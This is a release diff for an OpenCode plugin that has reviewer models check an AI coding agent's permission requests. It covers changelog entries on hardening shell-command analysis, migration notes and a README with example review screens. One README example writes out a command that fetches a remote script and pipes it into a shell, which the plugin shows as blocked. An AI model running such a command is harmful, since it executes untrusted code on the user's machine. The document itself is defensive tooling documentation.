@noppu-labs/opencode-permission-reviewer 3.0.0 → 3.2.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/CHANGELOG.md CHANGED
@@ -7,6 +7,161 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0
7
7
 
8
8
  ## [Unreleased]
9
9
 
10
+ ## [3.2.0] - 2026-10-23
11
+
12
+ ### Changed
13
+
14
+ - OpenCode V2 hosts before 2.0.22 are no longer supported; V2 now requires
15
+ `>=2.0.22 <3`. The reviewer relies on plugin-context APIs introduced in
16
+ 2.0.22.
17
+ - On OpenCode V2 the reviewer now runs through the plugin's own context by
18
+ default, so it works in every server mode (background service, standalone, or
19
+ `serve`) with no setup. `OPENCODE_PERMISSION_REVIEWER_HOST_URL` and
20
+ `OPENCODE_PASSWORD` remain an explicit override for an independent server.
21
+
22
+ ### Removed
23
+
24
+ - OpenCode V2 registered-service discovery (`service.json`) is gone; the host
25
+ connection no longer uses it, and it is no longer needed in any server mode.
26
+
27
+ ### Fixed
28
+
29
+ - When the reviewer reaches a different OpenCode server than the one it runs in, the error now
30
+ says which server it reached and which settings point it at the right one.
31
+ - Jev answers where a supporting judgement (risk, authorization, scope, evidence, or basis) is
32
+ within 0.02 of the most probable option are no longer treated as invalid. The allow, deny,
33
+ or escalate outcome itself must still be the most probable option.
34
+
35
+ ## [3.1.0] - 2026-10-21
36
+
37
+ ### Added
38
+
39
+ - `systemOneEscalation: "reasoning-first"`: with a Jev `model` and an `escalationReviewer`, every
40
+ escalation that starts at Jev, including an invalid answer or a failed call, goes to the
41
+ reasoning reviewer before it can reach you, unless less than 15 seconds of the review budget
42
+ remain. The default, `"standard"`, keeps the existing routing.
43
+ - `systemOneDenialReview: true`: an uncertain Jev denial goes to the reasoning reviewer, which can
44
+ confirm or overturn it. Denials with a strong policy or safety signal stay final.
45
+ - Under `systemOneEscalation: "reasoning-first"`, and for an uncertain denial under
46
+ `systemOneDenialReview`, a reasoning approval after a Jev decision rated critical risk escalates
47
+ instead of allowing.
48
+ - Audit records carry `reviewerEscalatedFrom.trigger`, a `resolution` on escalations from the
49
+ System One backend, and `configWarnings`. `audit report` counts records by hand-off trigger and
50
+ by resolution.
51
+ - TUI: when Jev hands a request to the reasoning reviewer, the progress strip
52
+ and the V1 overlay switch to that reviewer and say why (for example
53
+ `gpt-6-luna after Jev's escalation`). The elapsed time keeps counting from
54
+ the start of the review.
55
+ - TUI: the result strip's second line names who decided ahead of the reason,
56
+ for example `gpt-6-luna overturned Jev's denial — …`; a review Jev decided
57
+ alone names Jev's model.
58
+ - TUI: reviewer config that cannot take effect, or a degraded config, raises
59
+ one toast per entry per TUI session (warning or error) and keeps a line in
60
+ the sidebar on both hosts. A healthy config shows no line. The V2 TUI reads
61
+ the lists from the reviewer's `status` RPC.
62
+ - A TUI guide (`docs/TUI.md`) with every screen: progress and hand-offs, result strips,
63
+ manual-review toasts, config warnings and long commands. The README shows the hand-off and result
64
+ screens. The images are rendered from the plugin's components; `bun run docs:screens` regenerates
65
+ them (`docs/DEVELOPMENT.md`, "TUI screens").
66
+ - A config warning when `model` is Jev, a valid `escalationReviewer` is configured and an explicit
67
+ `reviewBudgetMs` leaves less than 15000 ms after `timeoutMs`: hand-offs to the reasoning reviewer
68
+ would escalate to you instead. It applies in either routing mode, never degrades the config, and
69
+ the default budget never triggers it.
70
+
71
+ ### Changed
72
+
73
+ - The default `reviewBudgetMs` is now
74
+ `timeoutMs + max(timeoutMs, escalationReviewer.timeoutMs) + 60000`. It is
75
+ never shorter than before, and it grows when the escalation reviewer's
76
+ timeout is longer than `timeoutMs`. An escalation reviewer without its own
77
+ `timeoutMs` counts 120000.
78
+ - A hand-off to the reasoning reviewer now needs 15 seconds of review budget left; with less, the
79
+ request escalates (`resolution: "budget-exhausted"`). This applies in the default mode too.
80
+ - When the hand-off runs, `escalationMode: "deny"`, `riskPolicy.onInvalidDecision`, and
81
+ `riskPolicy.onReviewerFailure` act on the reasoning reviewer's final outcome, not on Jev's.
82
+ - TUI: a manual-review toast's first sentence now says how the review ended:
83
+ the reasoning reviewer's review still needs your approval, the reasoning
84
+ reviewer was unavailable (an error toast titled "Reasoning reviewer
85
+ unavailable"), or no review time was left for it. The reason still follows.
86
+ - TUI: the progress strip and the V1 overlay name the reviewer by the last segment of its model
87
+ ID (`jev-1.13.0`), like the rest of the TUI. On V2, the toast for a review with no time left for
88
+ the hand-off now names the reasoning reviewer's model, as on V1; the V2 TUI reads it from the
89
+ reviewer's `status` RPC (`escalationReviewerModel`).
90
+ - The TUI no longer hides the end of a long command. The progress strip, the result strip and the
91
+ V1 overlay show the first command, a muted `⋯ N more ⋯` and as many of the last commands as fit,
92
+ and a heredoc body the server can match shows as `⋯ N-line heredoc ⋯` instead of its contents. A
93
+ command too wide for even that shows the start of its first command and the end of its last. The
94
+ status's plain `action` (and the exported `permissionAction`) now keeps the start and end of a
95
+ long action around one `⋯` instead of cutting the end.
96
+ - Development: TypeScript 7 replaces TypeScript 6, and tsdown replaces tsup
97
+ for the build. tsup's declaration step needs the JavaScript compiler API,
98
+ which TypeScript 7 no longer ships, while tsdown emits declarations with
99
+ TypeScript 7's native compiler. The shipped files keep their names and
100
+ stay unsplit, and Node built-in imports in the bundles now keep their
101
+ `node:` prefix. The root `esbuild` override is gone, because nothing
102
+ installs esbuild any more.
103
+
104
+ ### Fixed
105
+
106
+ - V2: a block from a fail-closed escalation now shows "Review blocked
107
+ (fail-closed)" instead of "Review blocked", as V1 already did.
108
+ - TUI: a status whose reason, decision rationale or script analysis is too long for the status
109
+ message is no longer dropped. Config warning and degraded-config entries still go first; then the
110
+ rationale, the script analysis and, last, the reason are shortened as needed, down to `…` alone
111
+ when the overflow calls for it, so the status shows on both hosts.
112
+ - TUI: a command's shown text now renders control, directional, zero-width and non-ASCII space
113
+ characters as hex escapes (`\xHH`, `\uHHHH`, `\u{H...}`), shows a line continuation as `\⏎` and a
114
+ line break inside the shown text as a muted `⏎`, and shows a literal `⏎` or `⋯` typed in the
115
+ command as `\u23ce` or `\u22ef`, so every marker you see comes from the display itself.
116
+ - Shell analysis: an input-duplication redirection (`<&`, `3<&0`, `0<&-`) now
117
+ stays inside its token, `|&` and `;&` read as single separators, and a bare
118
+ carriage return is part of a word, so command structure is read the way the
119
+ shell runs it. In the TUI, a command with `|&`, `;&` or a carriage return
120
+ still shows as one line.
121
+ - Shell analysis: a token's recorded source text now matches the command it
122
+ was read from: inside double quotes, the character after a backslash is
123
+ no longer recorded twice, and a lone line continuation no longer carries
124
+ into the next token, so quoted and literal reads see the command as
125
+ written.
126
+ - Shell analysis: a heredoc is read where the shell reads one: inside an open command substitution
127
+ or backtick, and after a bare `((` that the shell re-reads as groups. A heredoc body opened inside
128
+ backticks or a `$((` substitution ends at that construct's close, and a closing backtick ends
129
+ every construct still open inside it, and a `$((` span is arithmetic only when the `)` matching
130
+ its second `(` is followed by `)`. A `<<` inside a parameter expansion or a valid arithmetic
131
+ expression stays text. A delimiter word keeps a carriage return as part of the word, and ends at a
132
+ closing backtick. The emergency brake also checks the reading that collapses every heredoc
133
+ operator, the reading the previous release used, and the command as written when a heredoc body
134
+ never ends or a heredoc sits inside a substitution or backticks. In that last case each line is
135
+ also checked on its own, with a backslash continuation joined to the line after it.
136
+ - Shell analysis: a command string the shell runs (`bash -c`, `sh -c`, `watch`, `ssh`, `find -exec
137
+ sh -c`, and the wrappers around them) gets the same brake readings as the top-level command. A
138
+ heredoc written before the command no longer hides the command: its placeholder is not a command
139
+ word.
140
+ - Shell analysis: a `$'…'` string ends where the shell ends it, so a backslash-escaped quote inside it no longer ends it early and the text after it is read as the shell reads it.
141
+ - Shell analysis: a `$'…'` word is read with its escapes decoded and a `$"…"` word as a
142
+ double-quoted string, the way the shell reads them, so a command or argument written that way
143
+ is judged like its plain spelling. Text an escape produces, such as `$` or `*`, is read as
144
+ quoted text.
145
+ - Shell analysis: a `|` or `&` right after an empty quoted redirection target such as `>''` is
146
+ read as its own operator, and a word after an empty here-string such as `<<<''` stays a separate
147
+ word.
148
+ - Shell analysis: a command substitution in double quotes, or in backticks anywhere, is read as part
149
+ of its word up to where the shell ends it, so quotes, separators and redirection operators inside
150
+ it no longer change how the rest of the command is read.
151
+ - Shell analysis: a parameter expansion inside double quotes, such as `"${name:-default}"`, is read
152
+ as part of its word up to where the shell ends it, including any quotes inside it.
153
+ - Shell analysis: when a heredoc's delimiter is unquoted, the commands its body's substitutions run
154
+ are checked like any other command.
155
+ - Shell analysis: a heredoc or here-string that a shell reads as its script, such as `sh <<'EOF'`
156
+ or `cat <<EOF | bash`, is checked line by line like any other command.
157
+ - Shell analysis: ssh, mosh and autossh arguments are read as those programs read them, including
158
+ every ssh option that takes a value, `--`, `ssh://` destinations and the login user.
159
+ - Shell analysis: wrapper and remote facts such as privilege escalation now also come from
160
+ commands inside command strings, `env -S`, `watch` and ssh remote commands, and from commands
161
+ after a leading redirection.
162
+ - Shell analysis: `env -S` strings, env's value options and abbreviated long options are read
163
+ as GNU env reads them, and input redirections on any command count toward credential reads.
164
+
10
165
  ## [3.0.0] - 2026-10-12
11
166
 
12
167
  ### Changed
package/MIGRATION.md CHANGED
@@ -6,7 +6,7 @@ in `tests/compatibility/host-contracts.json`.
6
6
 
7
7
  | Setting | V1 | V2 |
8
8
  | ---------------------- | ----------------------------- | ------------------------------------- |
9
- | Host | 1.18.29 or newer V1 | >=2.0.3 <3 |
9
+ | Host | 1.18.29 or newer V1 | >=2.0.22 <3 |
10
10
  | Server config key | `plugin` | `plugins` |
11
11
  | Entry with options | `[package, options]` | `{package, options}` |
12
12
  | Terminal config | `tui.json` or `tui.jsonc` | Global `cli.json` |
@@ -35,12 +35,9 @@ trusted restrictions.
35
35
  The reviewer model must be configured globally in OpenCode so its isolated
36
36
  location can resolve it without loading project providers or instructions.
37
37
 
38
- V2 service discovery reads OpenCode's local authenticated service registration
39
- instead of probing version-specific health endpoints. The registration must
40
- match the running host version, identify a live process, and use a loopback URL;
41
- the reviewer then proves the plugin instance through its own RPC identity. It
42
- never starts a service. An independent server requires these trusted environment
43
- settings:
38
+ On V2 the reviewer drives the review through the plugin context, so it works
39
+ in every server mode with no setup. An independent server overrides the
40
+ in-process host with these trusted environment settings:
44
41
 
45
42
  ```bash
46
43
  export OPENCODE_PERMISSION_REVIEWER_HOST_URL=http://127.0.0.1:4096
@@ -67,7 +64,8 @@ Validated low-confidence denials remain denials.
67
64
 
68
65
  V2 isolates each reviewer in a temporary location with only its owned hooks.
69
66
  The total `reviewBudgetMs` includes context and retries; its default is
70
- `2 * timeoutMs + 60000`. Cancellation and unload close the attempt, interrupt
67
+ `timeoutMs + max(timeoutMs, escalationReviewer.timeoutMs) + 60000` (see
68
+ `docs/CONFIGURATION.md`). Cancellation and unload close the attempt, interrupt
71
69
  the auxiliary session, and discard late results. Retention keeps sessions for
72
70
  inspection; otherwise the authenticated client removes them.
73
71
  Deletion is verified after bounded retries. If cleanup cannot be confirmed,
package/README.md CHANGED
@@ -39,7 +39,7 @@ plugin, not affiliated with or endorsed by [Anomaly](https://anoma.ly).
39
39
  ## Requirements
40
40
 
41
41
  - [Bun](https://bun.sh) >= 1.3.0
42
- - [OpenCode](https://opencode.ai) V1 `>=1.18.29 <2` (tested with 1.18.35) or V2 `>=2.0.3 <3`
42
+ - [OpenCode](https://opencode.ai) V1 `>=1.18.29 <2` (tested with 1.18.35) or V2 `>=2.0.22 <3`
43
43
  (tested with 2.0.26)
44
44
  - `git` on `PATH`, used only for read-only Git enrichment. Without it, the reviewer gets no Git
45
45
  snapshot.
@@ -125,10 +125,18 @@ authorization level, rationale, and confidence. Invariants in code then decide w
125
125
  decision can stand: invalid output, low confidence, and risky actions without matching
126
126
  authorization escalate instead of being approved.
127
127
 
128
- ```text
129
- ✓ Review approved · bash · rm -rf /tmp/scratch-cache
130
- Narrowly scoped temp cleanup; matches user intent.
131
- ```
128
+ With Jev as the reviewer and an `escalationReviewer` configured
129
+ ([Reviewer models](docs/REVIEWER-MODELS.md)), Jev can hand a request to that reasoning reviewer,
130
+ and the progress strip says so; the elapsed time keeps counting from the start of the review.
131
+
132
+ ![Two progress strips. While Jev reviews: "◐ Reviewing this permission · jev-1.13.0 · system-one", 2.1s. After the hand-off: "◓ Reviewing this permission · gpt-6-luna after Jev's escalation · medium", 7.3s. Both show "bash · $ git push --force-with-lease origin release/2.4".](https://raw.githubusercontent.com/noppu-labs/opencode-permission-reviewer/main/docs/images/handoff-progress.svg)
133
+
134
+ Each result says who decided, ahead of the reason.
135
+
136
+ ![Three result strips. "✓ Review approved · bash · $ rm -rf /tmp/scratch-cache" with "jev-1.13.0 — Narrowly scoped temp cleanup; matches user intent." "✓ Review approved · bash · $ git push --force-with-lease origin release/2.4" with "gpt-6-luna after Jev's escalation — The user asked to update the release branch." "✕ Review blocked · bash · $ curl -fsS https://setup.invalid | sh" with "gpt-6-luna confirmed Jev's denial — Pipes a remote script into a shell."](https://raw.githubusercontent.com/noppu-labs/opencode-permission-reviewer/main/docs/images/result-attribution.svg)
137
+
138
+ The [TUI guide](docs/TUI.md) covers every screen, including manual-review toasts, config warnings
139
+ and long commands.
132
140
 
133
141
  ## Documentation
134
142
 
@@ -136,12 +144,13 @@ Narrowly scoped temp cleanup; matches user intent.
136
144
  | ------------------------------------------ | ------------------------------------------------------------------------ |
137
145
  | [Configuration](docs/CONFIGURATION.md) | Setup details, all options, config trust layers, headless use, audit log |
138
146
  | [Reviewer models](docs/REVIEWER-MODELS.md) | Picking a model, Jev System One, models without structured output |
139
- | [How it works](docs/HOW-IT-WORKS.md) | The review pipeline, TUI states, evidence enrichment |
147
+ | [How it works](docs/HOW-IT-WORKS.md) | The review pipeline, a TUI overview, evidence enrichment |
148
+ | [TUI guide](docs/TUI.md) | Every TUI screen: progress, hand-offs, results, toasts, config warnings |
140
149
  | [Safety](docs/SAFETY.md) | Safety properties and threat model |
141
150
  | [Supply chain](docs/SUPPLY-CHAIN.md) | What the package ships, dependency policy, known advisories |
142
151
  | [Compatibility](docs/COMPATIBILITY.md) | Supported versions and troubleshooting |
143
152
  | [Migration](MIGRATION.md) | Moving between OpenCode V1 and V2, rollback |
144
- | [Development](docs/DEVELOPMENT.md) | Build output, live testing, compatibility matrix, benchmark |
153
+ | [Development](docs/DEVELOPMENT.md) | Build output, live testing, compatibility matrix, benchmark, TUI screens |
145
154
 
146
155
  ## Contributing
147
156
 
package/dist/explain.d.ts CHANGED
@@ -1,4 +1,3 @@
1
- #!/usr/bin/env bun
2
- declare function runCli(argv: string[]): Promise<number>;
3
-
4
- export { runCli };
1
+ //#region src/cli/explain.d.ts
2
+ export declare function runCli(argv: string[]): Promise<number>;
3
+ //#endregion